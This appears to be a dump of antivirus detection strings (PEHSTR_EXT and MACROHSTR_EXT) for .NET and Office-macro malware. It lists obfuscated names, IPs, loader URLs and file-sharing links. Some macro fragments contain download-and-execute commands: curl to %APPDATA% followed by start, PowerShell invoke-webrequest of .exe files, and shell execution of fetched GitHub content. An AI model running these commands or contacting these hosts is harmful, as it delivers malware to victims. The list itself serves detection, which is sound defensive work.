 - rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1 (PEHSTR_EXT)
 - Taurus.Properties.Resources.resources (PEHSTR_EXT)
 - Sys.Sys (PEHSTR_EXT)
 - DProcessorSE.Properties.Resources.resources (PEHSTR_EXT)
 - PlaylistPanda.Properties.Resources.resources (PEHSTR_EXT)
 - ProgramInstaller.Interface.resources (PEHSTR_EXT)
 - Aune.Resources (PEHSTR_EXT)
 - Hohcxvpzw.Sofxcaofbpu (PEHSTR_EXT)
 - filetransfer.io/data-package/FudX7hsG/download (PEHSTR_EXT)
 - Sbixsmxfzjevgvget.Oxhdshwkefstmcy (PEHSTR_EXT)
 - D:\Ext.txt (PEHSTR_EXT)
 - investigation.g.resources (PEHSTR_EXT)
 - CSP_Ticketing.Resources.resources (PEHSTR_EXT)
 - CC.Common.Utils (PEHSTR_EXT)
 - BoardExample.Form1.resources (PEHSTR_EXT)
 - vpx3x.Properties.YtTh1 (PEHSTR_EXT)
 - vpx3x;component/mainwindow.xaml (PEHSTR_EXT)
 - kotadiainc.com/Jriww.png (PEHSTR_EXT)
 - /pages/page_chart.xaml (PEHSTR_EXT)
 - 91.243.44.1 (PEHSTR_EXT)
 - infinity-cheats.org/ (PEHSTR_EXT)
 - Lhwaghsyrcetsylt.Kiwlulcpmmshh (PEHSTR_EXT)
 - Suyehdmfjayr.Atcezcoqa (PEHSTR_EXT)
 - Sazwlsquuolhwordff.Aehdzuhwyvotk (PEHSTR_EXT)
 - Ftqjogdi.Cfqgqof (PEHSTR_EXT)
 - Pqfnbdv.Yyfyodoenbg (PEHSTR_EXT)
 - BackgroundWindow.xaml (PEHSTR_EXT)
 - IRemotingFormatter.ContinuationWrapper (PEHSTR_EXT)
 - MotivateDesktop.Properties.Resources.resources (PEHSTR_EXT)
 - Pwjhhi.exe (PEHSTR_EXT)
 - kotadiainc.com/Vficclsin.jpg (PEHSTR_EXT)
 - 185.222.58.56/cousin.png (PEHSTR_EXT)
 - Mxlcipiyomkjax.Qzwpzbhka (PEHSTR_EXT)
 - ClocktowersCurse.Properties.Resources.resources (PEHSTR_EXT)
 - faf.exe (PEHSTR_EXT)
 - /sfsf (PEHSTR_EXT)
 - #gdsgdhfdggggggdkksg.dll# (PEHSTR_EXT)
 - #dfg.dpolpll# (PEHSTR_EXT)
 - #gsdfggfgsd.dll# (PEHSTR_EXT)
 - #fd.pdll# (PEHSTR_EXT)
 - SharpStructures.Main.SortHelper (PEHSTR_EXT)
 - Cycle_Jump_Game.Properties.Resources.resource (PEHSTR_EXT)
 - Vsrrp.Properties.Resources.resources (PEHSTR_EXT)
 - TakeScreenshotToPath (PEHSTR_EXT)
 - get_VirtualScreen (PEHSTR_EXT)
 - WindowsFormsApp3.Form1.resources (PEHSTR_EXT)
 - Alpha.Beta (PEHSTR_EXT)
 - cdn.discordapp.com/attachments/94 (PEHSTR_EXT)
 - Ewpdebffkmooliledu.Qqiuktavojbspbc (PEHSTR_EXT)
 - Ghsouordm.Rxviadqxhuozven (PEHSTR_EXT)
 - Owmghuesewtwpnda.Zuuukpxlassklpmk (PEHSTR_EXT)
 - coffee_machine_control.Properties.Resources.resources (PEHSTR_EXT)
 - Lytro.Windows.Properties.Resources.resources (PEHSTR_EXT)
 - MG.Office.Editor.frmMain.resources (PEHSTR_EXT)
 - /hs.refsnart//:sptth (PEHSTR_EXT)
 - makefil.Frenc (PEHSTR_EXT)
 - transfer.sh/get/ (PEHSTR_EXT)
 - SmartPotion.Resources.resources (PEHSTR_EXT)
 - TagMp3Saito_WindowsFormsApplication.Properties.Resources.resources (PEHSTR_EXT)
 - VendingMachineMk2.Properties.Resources.resource (PEHSTR_EXT)
 - HCVQuestionnaire.Properties.Resources.resources (PEHSTR_EXT)
 - xNYLEq6LoTjDq7Ifk4c.GW5dSw6H5RTJ9qpMFLn (PEHSTR_EXT)
 - E8yX0cfAfZcIOBbq20T.fHItoQfoc1xSykgyGOk (PEHSTR_EXT)
 - Pyrite.Properties.Resources.resources (PEHSTR_EXT)
 - #fsdfl.dll# (PEHSTR_EXT)
 - eddff.dll# (PEHSTR_EXT)
 - fdfsdd.pdll# (PEHSTR_EXT)
 - AutoJack.Properties.Resources.resource (PEHSTR_EXT)
 - Ltwbdjwjjuzxufa.Knjecun (PEHSTR_EXT)
 - Xhfqddgclmqyruymwtncgx.Lopjyqf (PEHSTR_EXT)
 - cdn.discordapp.com/attachments/9 (PEHSTR_EXT)
 - Abuhcqdzfej.Ogaotrhptsjfsvp (PEHSTR_EXT)
 - Bpjymt.Properties.Resources (PEHSTR_EXT)
 - Polo.Properties.Resources.resources (PEHSTR_EXT)
 - Cubin.Properties.Resources.resources (PEHSTR_EXT)
 - g6pwWQ44xKhCXHsvSne.CN4qcq4MclarttE1ndg (PEHSTR_EXT)
 - 18.156.82.84/ting/0/loader/uploads/ (PEHSTR_EXT)
 - Comedy (PEHSTR_EXT)
 - newnewF454.Resources.resources (PEHSTR_EXT)
 - cdn.discordapp.com/attachments/95 (PEHSTR_EXT)
 - #gfsddfsdffdllsfsfd.dll# (PEHSTR_EXT)
 - #gdsdfsdfsfdseedfsldfdssgdhfdggggggdkksg.dll# (PEHSTR_EXT)
 - #gffdssdfsfsssedkjdff.dll# (PEHSTR_EXT)
 - #gdsdfdfsdfsfdseedfsldfdssgdhfdggggggdkksg.dll# (PEHSTR_EXT)
 - RBC III/*E!?< (PEHSTR_EXT)
 - J IIU/ (PEHSTR_EXT)
 - ^BC IIU/.E!?< (PEHSTR_EXT)
 - ShortPdddddddjfjfddddddddddddrocess Completed (PEHSTR_EXT)
 - ShortPddddddddddddddddfdddrocess Completed (PEHSTR_EXT)
 - ShorsfsftPdddddddddddddddhfghgddddrocess Completed (PEHSTR_EXT)
 - ShortPdddddddddddddddddddrocess Completed (PEHSTR_EXT)
 - ShorfPdddddddddddddddddddrocess Completed (PEHSTR_EXT)
 - ShortPddskjddddddddddrocess Compfsfleted (PEHSTR_EXT)
 - ShortPddsaddddddddddddddddddrocess Completed (PEHSTR_EXT)
 - #gffdsdsdfsfsssedkjdff.dll# (PEHSTR_EXT)
 - aR3nbf8dQp2feLmk31.lSfgApatkdxsVcGcrktoFd.resource (PEHSTR_EXT)
 - KJLDKSDHSDKUI.VECTOR (PEHSTR_EXT)
 - .30319\aspnet_co (PEHSTR_EXT)
 - bus_ticket.Properties.Resources.resources (PEHSTR_EXT)
 - FSA.FSA (PEHSTR_EXT)
 - selif/moc.01-nioc-nioc-elif//:ptth (PEHSTR_EXT)
 - /teg/hs.refsnart//:sptth (PEHSTR_EXT)
 - Nono.Nono (PEHSTR_EXT)
 - study.study (PEHSTR_EXT)
 - 190.123.44.138/loader/uploads/ (PEHSTR_EXT)
 - BoggleServer.Properties.Resources.resources (PEHSTR_EXT)
 - amtechprinting.com (PEHSTR_EXT)
 - Kndgditsvimlmytdhbigzel.Umpepxei (PEHSTR_EXT)
 - ocpi.com.my/smoke/loader/uploads/ (PEHSTR_EXT)
 - transfer.sh/get/1gg80l/Nxiisn_Vtcxjhlp.bmp (PEHSTR_EXT)
 - inox-smart.com/wp-admin/Nzacczb.png (PEHSTR_EXT)
 - transfer.sh/get/5WzkVr/Zvhiaxpms_Uwfisikb.bmp (PEHSTR_EXT)
 - 18.179.111.240/1b1/loader/uploads/ (PEHSTR_EXT)
 - Xlksyuxtcvbqwnb.Bvfcxrciykakvxanxsbftkj (PEHSTR_EXT)
 - Hpranx.Mtlxclkhseirgwne (PEHSTR_EXT)
 - MASTERMIND.Properties.Resources.resource (PEHSTR_EXT)
 - O /i] (PEHSTR_EXT)
 - @+K /Y (PEHSTR_EXT)
 - L+O /Y (PEHSTR_EXT)
 - vxuuuxuuuxtttxsssrnnnkkkk_```P]]].TTT (PEHSTR_EXT)
 - Koahoh.Properties.Resources.resources (PEHSTR_EXT)
 - transfer.sh/get/RqVezw/ (PEHSTR_EXT)
 - /c ping google.com && timeout 10 (PEHSTR_EXT)
 - MineSweeper.Properties.Resources.resources (PEHSTR_EXT)
 - BareamMetalsi.Baredll (PEHSTR_EXT)
 - Evercraft_model.Character (PEHSTR_EXT)
 - C:\Users\Administrator\Desktop\New folder\bin\Debug\SLN\Diary\obj\Debug\Diary.pdb (PEHSTR_EXT)
 - Beatems.Properties.Resources.resources (PEHSTR_EXT)
 - Hm!\; (PEHSTR_EXT)
 - Kdplppvugyosmbtlxjclzra.Mzjlaieiosvosnhbmf (PEHSTR_EXT)
 - 54690241_Xyrgockt.bmp (PEHSTR_EXT)
 - LILITHAGUESTHOUSE.Resources.resources (PEHSTR_EXT)
 - DailyNotes.Resources.resources (PEHSTR_EXT)
 - .PAsP (PEHSTR)
 - vbStripe.Resources.resources (PEHSTR_EXT)
 - sssssrrrrrrrrrddsdas.exe (PEHSTR_EXT)
 - C:\somedirectory (PEHSTR_EXT)
 - Reporting.asmx (PEHSTR_EXT)
 - RecopierBox.Resources.resource (PEHSTR_EXT)
 - C:\Users\Administrator\Desktop\New folder\bin\Debug\SLN\hastane\obj\Debug\hastane.pdb (PEHSTR_EXT)
 - C:\Users\Administrator\Desktop\New folder\bin\Debug\SLN\BillingSystemm\obj\Debug\BillingSystemm.pdb (PEHSTR_EXT)
 - BillingSystemm.exe (PEHSTR_EXT)
 - hastane.exe (PEHSTR_EXT)
 - Cell_Phone_Packages.Resources.resources (PEHSTR_EXT)
 - trieutin.com/loader/uploads/ (PEHSTR_EXT)
 - System.Reflection (PEHSTR_EXT)
 - aqaygd.Resources (PEHSTR_EXT)
 - Pong_fr.Resources.resources (PEHSTR_EXT)
 - Visual_N_Queens_Solver.Properties.Resources.resources (PEHSTR_EXT)
 - MatrixEditor.Form1.resources (PEHSTR_EXT)
 - 3.70.247.229 (PEHSTR_EXT)
 - INFS3160Final.Resources.resources (PEHSTR_EXT)
 - Timebox.Properties.Resources.resources (PEHSTR_EXT)
 - bin\Debug\SLN\Application_Development\obj\Debug\Application_Development.pdb (PEHSTR_EXT)
 - System.Data (PEHSTR_EXT)
 - WindowsFormsApp27.Properties (PEHSTR_EXT)
 - CU0mxh8nSOsmJDWZHj.MrjSg7KR80F4fcrGf4 (PEHSTR_EXT)
 - :^^^^^####^^^^^####bluecovertrading.com/s/ (PEHSTR_EXT)
 - YEWHSHJSJUISYUS (PEHSTR_EXT)
 - MatchNumberDelegate.Resources.resources (PEHSTR_EXT)
 - seddfffffffffffffffffdffexe (PEHSTR_EXT)
 - Project.Properties.Resources.resources (PEHSTR_EXT)
 - Laboratoire_4.Resources.resources (PEHSTR_EXT)
 - dfghrtdbg.Resources.resources (PEHSTR_EXT)
 - SplashTest.Properties.Resources (PEHSTR_EXT)
 - BookClubManager.My.Resources (PEHSTR_EXT)
 - Paraeducator.Properties.Resources.resources (PEHSTR_EXT)
 - Concours_Sup.Resources.resources (PEHSTR_EXT)
 - http:// (PEHSTR_EXT)
 - HRM_SUB\obj\Debug\HRM_SUB.pdb (PEHSTR_EXT)
 - Client.Properties.Resources.resources (PEHSTR_EXT)
 - Comunication.Properties.Resources.resources (PEHSTR_EXT)
 - ScreenToGif Application (PEHSTR_EXT)
 - ClassLibrary3.Resources.resources (PEHSTR_EXT)
 - RayX.Properties (PEHSTR_EXT)
 - C:\sadasd (PEHSTR_EXT)
 - Xu_Ly_Da_Thuc.FormMain.resources (PEHSTR_EXT)
 - Oversikt.Propertie (PEHSTR_EXT)
 - Gdeidnzvlgndkacspspskpw.Uucvjiegwnd (PEHSTR_EXT)
 - Vsnishvwuaeiqbiv.Fkkivsrwlqjmvmkwhehr (PEHSTR_EXT)
 - Miyfkyaggmgt.Cvdgeznpb (PEHSTR_EXT)
 - Tuodqjkjkmvipasqvdrdktfm.Fgucevjuqncyqkc (PEHSTR_EXT)
 - Nbwomghltwhyvkknnlwv.Ovkrtdrpwteunda (PEHSTR_EXT)
 - Fort.dll (PEHSTR_EXT)
 - @System@.@Reflection@.@Assembly@ (PEHSTR_EXT)
 - WA1.Resources (PEHSTR_EXT)
 - ComboBoxItem1 (PEHSTR_EXT)
 - Chrome\Application\chrome.#$% (PEHSTR_EXT)
 - bostonbeancafe.Resources.resources (PEHSTR_EXT)
 - QuanlyNhahang.Properties.Resources.resource (PEHSTR_EXT)
 - YCzhLWEt4m5uruWvb+/wcGOw6HFocepyabLmM28z7HRttOx1 (PEHSTR_EXT)
 - Zv7kP24/2kBbgNhBWgHaQlnC2kNDg9KEXMTfxVkF2EZbhtlH (PEHSTR_EXT)
 - APCD.PeopleLibrary.Resources.resources (PEHSTR_EXT)
 - BatchRunner.Propertie (PEHSTR_EXT)
 - TFlow.Properties.Resources.resources (PEHSTR_EXT)
 - WindowsApplication1.Resource (PEHSTR_EXT)
 - https://radio-hit.ro/ (PEHSTR_EXT)
 - Seaxvgs.Properties.Resources.resources (PEHSTR_EXT)
 - Purvile.Resources.r (PEHSTR_EXT)
 - 37.0.11.164 (PEHSTR_EXT)
 - Renevct_Kmehrfme.png (PEHSTR_EXT)
 - BinaryCompatibility (PEHSTR_EXT)
 - Excep.tct (PEHSTR_EXT)
 - 947\Release\947.pdb (PEHSTR_EXT)
 - 113.212.88.126 (PEHSTR_EXT)
 - 127.0.0.1 (PEHSTR_EXT)
 - Roaming\Microsoft\Windows\system32 (PEHSTR_EXT)
 - system.bin (PEHSTR_EXT)
 -    Pi@s.Whit@  (PEHSTR_EXT)
 - TVqQ$$$$M$$$$$$$$E$$$$$$$$//8$$$$Lg$$$$$$$$$$$$$$$$$$Q$$$ (PEHSTR_EXT)
 - \Temp\y3iho40m.vbf (PEHSTR_EXT)
 - BackEndLibrary.Properties.Resources (PEHSTR_EXT)
 - LOGO_COMPLETA_VETORIZADA (PEHSTR_EXT)
 - HelperOne.Properties.Resources.resources (PEHSTR_EXT)
 - rOne.Form1.re (PEHSTR_EXT)
 - Egra.dll (PEHSTR_EXT)
 - ZOo0Ho5qHCVdJhcjIjwqNzNYciAqJiNbIRcxNXM/MDwVOy1r (PEHSTR_EXT)
 - C:\NewhTemp (PEHSTR_EXT)
 - CompilationRelaxations (PEHSTR_EXT)
 - System_CoreInfo.Properties.Resources (PEHSTR_EXT)
 - socketprograming.Resource1 (PEHSTR_EXT)
 - svchost.Form1.resources (PEHSTR_EXT)
 - .Resources.resources (PEHSTR_EXT)
 - ConfuserEx v1. (PEHSTR_EXT)
 - WLPX_HACK_PRO.Resources.resources (PEHSTR_EXT)
 - Confuser.Core 1.6.0+447341964f (PEHSTR_EXT)
 - WHGDFHKDLHDJD.dll (PEHSTR_EXT)
 - System.Design.Diagram.QM.r (PEHSTR_EXT)
 - sEOq.exe (PEHSTR_EXT)
 - KoenigseggCCX.Properties.Resources.resource (PEHSTR_EXT)
 - ADIn.Resources.resources (PEHSTR_EXT)
 - Confuser.Core 1.6.0 (PEHSTR_EXT)
 - X l.dlT (PEHSTR_EXT)
 - Vjsofo.exe (PEHSTR_EXT)
 - gjjjjjsfjdjjjd (PEHSTR_EXT)
 - JR.Inno.Setup (PEHSTR_EXT)
 - VMNVIJSF (PEHSTR_EXT)
 - BD_Olympiads.Properties.Resource (PEHSTR_EXT)
 - Lt.LE (PEHSTR_EXT)
 - kernel3C?dll (PEHSTR_EXT)
 - RandomNumberGame.Properties (PEHSTR_EXT)
 - GamespyMasterServer.Resources (PEHSTR_EXT)
 - C:\somfffffffffffedirectory\ (PEHSTR_EXT)
 - GoodVsEvil.Properties.Resource (PEHSTR_EXT)
 - StructuralEqualityComparer (PEHSTR_EXT)
 - CompareObjectGreaterEqual (PEHSTR_EXT)
 - QuestKingdom.WorkerHelper (PEHSTR_EXT)
 - OE.PS (PEHSTR_EXT)
 - KYOIKU.Resources.resources (PEHSTR_EXT)
 - Friedman.Resources.resource (PEHSTR_EXT)
 - MK5KGXo6oEkCQRBRBbv/a (PEHSTR_EXT)
 - whDyO2NTkdL7/SqKevO7+irjoUy5 (PEHSTR_EXT)
 - 4tpIuqqFZgsseIZO8pfKgo/2PSa (PEHSTR_EXT)
 - _(-V/sc31f37qk27L_^|2FA9<.resources (PEHSTR_EXT)
 - Confuser.Core 1.5.0+b5197549e4 (PEHSTR_EXT)
 - Ionic.Zip (PEHSTR_EXT)
 - build.exe (PEHSTR_EXT)
 - KeysNormalize.d (PEHSTR_EXT)
 - DlImageParsr.Properties (PEHSTR_EXT)
 - xilecurity_ApplicationId_PolicyManagement_Cmdlets (PEHSTR_EXT)
 - source\repos\sync\sync\bin\Debug\Confused\sync_enc.pdb (PEHSTR_EXT)
 - fstatvfs@openssh.com (PEHSTR_EXT)
 - sync.exe (PEHSTR_EXT)
 - IZHs.g.resources (PEHSTR_EXT)
 - 85HNqHIeQdRZsuSbkw.KlNobTsUiSkXW7WXH9 (PEHSTR_EXT)
 - DynamicDllInvokeType (PEHSTR_EXT)
 - iO.fo (PEHSTR_EXT)
 - HTTP/1.1 200 (PEHSTR_EXT)
 - WinHttpConnect (PEHSTR_EXT)
 - EW.YK (PEHSTR_EXT)
 - :::::=vba.replace(,"~~","\\"):::::=vba.replace(,"!!",".js"):::::=vba.replace(,"$$","a")="@@~~users~~public~~sys.ini":::::=vba.replace(,"~~","\"):::::=vba.replace(,"@@","c:") (MACROHSTR_EXT)
 - @@//b//e:~~c:&users&public&sys.ini" (MACROHSTR_EXT)
 - :::::=vba.replace(,"&","\\"):::::=vba.replace(,"@@","wscript.exe"):::::=vba.replace(,"~~","jscript")debug.print:::::set=getobject("new:{72c24dd5-d70a-438b-8a42-98424b88afb8}")debug.print:::::::set=_.__exec!()debug.printendfunction (MACROHSTR_EXT)
 - =moneycount.ux+moneycount.tr+monstercoming.z+kon.d+lun.openmarket1245+lun.xxx+showoff.konsa+showoff.t (MACROHSTR_EXT)
 - konsa()asstringkonsa=textfilepart.stuff.tagendfunctionfunctiont() (MACROHSTR_EXT)
 - Davis11.Properties.Resources.resources (PEHSTR_EXT)
 - Options|*.bulkpdf (PEHSTR_EXT)
 - rtbLibraries.Text (PEHSTR_EXT)
 - options.txt (PEHSTR_EXT)
 - BulkPDF.exe (PEHSTR_EXT)
 - BulkPDF.Properties.Resources.resources (PEHSTR_EXT)
 - uG.B1 (PEHSTR_EXT)
 - HBRS.Resources.resource (PEHSTR_EXT)
 - GameNetwork.Properties (PEHSTR_EXT)
 - Mahjong.Properties.Resources.resources (PEHSTR_EXT)
 - usetwo1.command1.controltiptextxt=x1endfunction (MACROHSTR_EXT)
 - one=ght.elephant_+llt.loratwo=llt.k+llt.t_+llt.xtthree=one_+two (MACROHSTR_EXT)
 - Shell ("cmd /c curl " & O & Taksim() & "/" & Zargen() & "/daviiid.exe" & " --output %APPDATA%\daviiid.exe (MACROHSTR_EXT)
 - "htt" & Apasi() & "cdn.d" & Apolize() & "dapp.c" & ankara() & "achments/" (MACROHSTR_EXT)
 - WindowsFormsApp96.Forms.Form1.resources (PEHSTR_EXT)
 - CaptureMyScreen (PEHSTR_EXT)
 - HUPKOMNLBY.exe (PEHSTR_EXT)
 - kuliSAP1.Properties.Resources.resource (PEHSTR_EXT)
 - SDDSDDSDUJHDGUHIJSGD (PEHSTR_EXT)
 - Thumbnail_Handler.Resource (PEHSTR_EXT)
 - RainbowUI.Properties.Resource (PEHSTR_EXT)
 - sddddffshhdjfffffgjskdgsfacsafp (PEHSTR_EXT)
 - Qupla.IndicatorServer.TrayClient (PEHSTR_EXT)
 - Strickler.Resources.resources (PEHSTR_EXT)
 - .sdata (PEHSTR_EXT)
 - _ComCTL (PEHSTR_EXT)
 - Martinsville.Resources.resource (PEHSTR_EXT)
 - Sanford.Multimedia.Midi.Properties.Resources (PEHSTR_EXT)
 - sfhjfkfhfhjsrfhdhffadsfsfhsscfgdb (PEHSTR_EXT)
 - 80.66.75.25/pl-Ufbzyarn_Usbqhaee.bmp (PEHSTR_EXT)
 - Avalon.g.resources (PEHSTR_EXT)
 - SimFarm.EcoFarm.resources (PEHSTR_EXT)
 - Bpgvukp.Properties (PEHSTR_EXT)
 - QuanLyNhaDat.Properties.Resources.resource (PEHSTR_EXT)
 - Parrott.Red.resources (PEHSTR_EXT)
 - SCUIYGTDIUYDSG.r (PEHSTR_EXT)
 - 185.246.220.65 (PEHSTR_EXT)
 - SUc69TNWUOnZBRaQqQ.kcpIYRZI0B6W9uIfSw (PEHSTR_EXT)
 - 86a14ad3b7cb44.Resources.resources (PEHSTR_EXT)
 - ssoo1451.ddns.net:1453/ (PEHSTR_EXT)
 - u6nHGiwhHY2jMCJmgs.FtMkWlnaFargBND7mv (PEHSTR_EXT)
 - WinForMono.Properties.Resources (PEHSTR_EXT)
 - makefil.makefil (PEHSTR_EXT)
 - Excerestint.Resources.resources (PEHSTR_EXT)
 - Bedford.Resources (PEHSTR_EXT)
 - AAAAAAAAAAAAA.r (PEHSTR_EXT)
 - CryptoLibrary.dll (PEHSTR_EXT)
 - RdpArt.Loader (PEHSTR_EXT)
 - public.class.Main.HelloWorld.module2 (PEHSTR_EXT)
 - TabControlExtra.XLLL.resources (PEHSTR_EXT)
 - IphwsJS0AL (PEHSTR_EXT)
 - BuildEvent.Properties.Resources.resource (PEHSTR_EXT)
 - Game2048Form.SFDDWED.resources (PEHSTR_EXT)
 - ComSvcCoibers1l1o100 (PEHSTR_EXT)
 - -newname{$_-replace'tmp$','exe'}passthru;invoke-webrequest-uri""http://3.65.2.139/read/ (MACROHSTR_EXT)
 - .exe""-outfile$tempfile; (MACROHSTR_EXT)
 - -newname{$_-replace'tmp$','exe'}passthru;invoke-webrequest-uri""http://173.232.146.78/505/ (MACROHSTR_EXT)
 - jpg.exe""-outfile$tempfile; (MACROHSTR_EXT)
 - GecikmeHesapla.Properties (PEHSTR_EXT)
 - A.cfcba541a3cee3d8e12280a110e82cdda (PEHSTR_EXT)
 - HvGJoP.My (PEHSTR_EXT)
 - vaultcli.dll (PEHSTR_EXT)
 - ScannerService.Resources.resources (PEHSTR_EXT)
 - incurable.exe (PEHSTR_EXT)
 - https://kedaiorangmelayu.xyz/loader/uploads/withoutstartup_Kkxjpjme.bmp (PEHSTR_EXT)
 - withoutstartup.exe (PEHSTR_EXT)
 - /loader/uploads/withoutstartup_ (PEHSTR_EXT)
 -  .bmp (PEHSTR_EXT)
 - Make Computer faster and more secure (PEHSTR_EXT)
 -  .jpg (PEHSTR_EXT)
 - mprzrulmemtpoaj.Resource (PEHSTR_EXT)
 - Simulateur_des.Properties.Resources.resources (PEHSTR_EXT)
 - Simulateur_des.Form1.resources (PEHSTR_EXT)
 - ProjectAI.RCSACD (PEHSTR_EXT)
 - Engine.Properties.Resources.resources (PEHSTR_EXT)
 - SnakesAndLadders.Properties.Resources.resources (PEHSTR_EXT)
 - Pinterest_Board_Manager.Resources.resource (PEHSTR_EXT)
 - Customers_Simulation.Properties.Resources (PEHSTR_EXT)
 - System.Windows.Forms (PEHSTR_EXT)
 - #aa.dll# (PEHSTR_EXT)
 - #gaa.dll# (PEHSTR_EXT)
 - #dshsstadaaadwsssssg.dll# (PEHSTR_EXT)
 - UmdParser.Pro (PEHSTR_EXT)
 - OStock_Simulation.Properties.Resources.resources (PEHSTR_EXT)
 - hXxe.exe (PEHSTR_EXT)
 - HGgGGg7.exe (PEHSTR_EXT)
 - Confuser.Core 1.6 (PEHSTR_EXT)
 - SGA.Form1.resources (PEHSTR_EXT)
 - UQG.d (PEHSTR_EXT)
 - AForge.Video (PEHSTR_EXT)
 - GamesTest.ResourceInventory.resources (PEHSTR_EXT)
 - get_HJSABJDGJSAHDGASJHDGAJHSGD (PEHSTR_EXT)
 - radarsystem.Properties.Resources (PEHSTR_EXT)
 - waterwheel1.Properties.Resources (PEHSTR_EXT)
 - RangerUp.DJJDS.resources (PEHSTR_EXT)
 - PuzzleGame.Properties.Resources.resource (PEHSTR_EXT)
 - rundll32.exe %sadvpack.dll,DelNodeRunDLL32 (PEHSTR_EXT)
 - rundll32.exe %s,InstallHinfSection %s 128 %s (PEHSTR_EXT)
 - cmd.exe /d /c bdvipapfxns.bat (PEHSTR_EXT)
 - Software\Microsoft\Windows\CurrentVersion\RunOnce (PEHSTR_EXT)
 - Software\Microsoft\Windows\CurrentVersion\App Paths (PEHSTR_EXT)
 - Command.com /c %s (PEHSTR_EXT)
 - Pirates.Resources (PEHSTR_EXT)
 - SudokuCWL.Properties.Resources.resources (PEHSTR_EXT)
 - GameOfLifeUI.Properties.Resources.resources (PEHSTR_EXT)
 - WindowsFormsApp60.Properties (PEHSTR_EXT)
 - HHGg65.g.resources (PEHSTR_EXT)
 - su0UGMRcRFpG45MMHy.40g08Dtsi4VpcKhiXc (PEHSTR_EXT)
 - Tjmxm.g.resources (PEHSTR_EXT)
 - OPN1LW_v1._1.Properties.Resources.resource (PEHSTR_EXT)
 - //topvaluationfirms.com/jahah.png (MACROHSTR_EXT)
 - wscript.shell (MACROHSTR_EXT)
 - suHB+ScuBcirRqHINViyhwDX4N1at4CX5dIo7NXcgS6KgEvlfNJnmV+24r/6bdkzY5UbXcRzYaXs (PEHSTR_EXT)
 - VaTSkHJq4CEkohISP3XYcUhqzW/qMLPgjMDvqEET/rEm1ntXl5jFzlnbYF0JTTHO8DEiWgIQVy (PEHSTR_EXT)
 - MG.Office.Editor.frmDebug.resources (PEHSTR_EXT)
 - Rkikc.Properties (PEHSTR_EXT)
 - Shozbxyxpoj.Properties (PEHSTR_EXT)
 - Shrmota_Hyga.My (PEHSTR_EXT)
 - Fuck.Properties (PEHSTR_EXT)
 - 103.228.36.104/ultron/ (PEHSTR_EXT)
 - Ben.dll (PEHSTR_EXT)
 - clean_2.Resources.resource (PEHSTR_EXT)
 - b58e4c33fd46af.Resources.resource (PEHSTR_EXT)
 - CollinsSemesterProject.Resources (PEHSTR_EXT)
 - QUANLYDAILY.Properties.Resources.resource (PEHSTR_EXT)
 - QLTV.Properties.Resources.resource (PEHSTR_EXT)
 - ResourceFailureModel.Properties.Resources (PEHSTR_EXT)
 - GUI.Properties.Resources (PEHSTR_EXT)
 - CallDescriptor (PEHSTR_EXT)
 - ://38.255.43.23/dcd.vdf (PEHSTR_EXT)
 - //82.118.21.69/yiy/ (PEHSTR_EXT)
 - WindowsApp1.Resources (PEHSTR_EXT)
 - lab6.Resources (PEHSTR_EXT)
 - Finals.Resources (PEHSTR_EXT)
 - FinalProject.Resources (PEHSTR_EXT)
 - Final_Project.Resources (PEHSTR_EXT)
 - billing_system.Resources (PEHSTR_EXT)
 - 3.g.resources (PEHSTR_EXT)
 - MQ\~ZFCYu[YyjIezDit2NahhLa|_h{vrw}=s|0|sy{fJZH (PEHSTR_EXT)
 - Ckrkidaz.Properties (PEHSTR_EXT)
 - QuanLyQuanCafe.Properties.Resources (PEHSTR_EXT)
 - DormAndMealPlanCalculator.Properties (PEHSTR_EXT)
 - CreateObject("Shell.Application") (PEHSTR_EXT)
 - Shell ("cmd /c curl " & O &  (MACROHSTR_EXT)
 - () & "/" &  (MACROHSTR_EXT)
 - () & "/ (MACROHSTR_EXT)
 - .exe" & " --output %APPDATA%\ (MACROHSTR_EXT)
 - .exe  && timeout 1 && start %APPDATA%\ (MACROHSTR_EXT)
 - .exe") (MACROHSTR_EXT)
 - () & "cdn.d" &  (MACROHSTR_EXT)
 - () & "dapp.c" &  (MACROHSTR_EXT)
 - () & "achments/" (MACROHSTR_EXT)
 - Phurezjftgg.Properties.Resources (PEHSTR_EXT)
 - questionsGenerator.Properties.Resources.resource (PEHSTR_EXT)
 - \file1.exe (PEHSTR_EXT)
 - WindowsApp3.Resources (PEHSTR_EXT)
 - projectqltss.Propertie (PEHSTR_EXT)
 - freeglass.resources (PEHSTR_EXT)
 - gyREdJKqTD/cborinew.txt (PEHSTR_EXT)
 - transfer.sh/get/4BmUkBGNO6/BANGG.txt (PEHSTR_EXT)
 - MKLP0998.exe (PEHSTR_EXT)
 - ):va8. (PEHSTR_EXT)
 - Cluster_MGF.Proper (PEHSTR_EXT)
 - InterViewCode.Properties.Resources (PEHSTR_EXT)
 - ThucTapNhom1.Properties.Resources (PEHSTR_EXT)
 - Yuyfizeaz.Properties.Resources (PEHSTR_EXT)
 - DLPK.Properties.Resource (PEHSTR_EXT)
 - Windows_Pursuit.Properties.Resources (PEHSTR_EXT)
 - TriviaNow.QuestionDetails.resource (PEHSTR_EXT)
 - jJRDLmG.GDDEDILHDDDVELDDfUf7HUH22y8FlGDDDTYjDjOR7SZDDDDTDFDDDjEj (PEHSTR_EXT)
 - CinemaManagement.FrSuatChieu.resources (PEHSTR_EXT)
 - screenLogger (PEHSTR_EXT)
 - BankingSystemSimulation.Properties.Resources (PEHSTR_EXT)
 - shell"po"&l.responsetext,vbhideendsub (MACROHSTR_EXT)
 - .open"get","https://raw.githubusercontent.com/frankcastle2/0/main/0j" (MACROHSTR_EXT)
 - Quantum.Properties.Resources (PEHSTR_EXT)
 - Jeopardy.Properties.Resources.resourc (PEHSTR_EXT)
 - QLTHUVIEN.Properties (PEHSTR_EXT)
 - AppConnectData.Propertie (PEHSTR_EXT)
 - EU4_Mod_Manager.Resources (PEHSTR_EXT)
 - omqtzsoft7W285.dll (PEHSTR_EXT)
 - NMKLPO.Properties.Resources (PEHSTR_EXT)
 - CellularAutomatonSimulation.MainForm.resources (PEHSTR_EXT)
 - ErrorDetectionSimulator.Properties.Resources.resources (PEHSTR_EXT)
 - CoreApps.ResourceCS3.resources (PEHSTR_EXT)
 - eBookProcessor.XAXASADAWEQW.resources (PEHSTR_EXT)
 - eBookProcessor.Resources.resources (PEHSTR_EXT)
 - ADGC.g.resources (PEHSTR_EXT)
 - FrameworkEntity.MNBVB.resources (PEHSTR_EXT)
 - TinyAlertExample.Prope (PEHSTR_EXT)
 - TravianGame_WindowsForms.Properties.Resources.resources (PEHSTR_EXT)
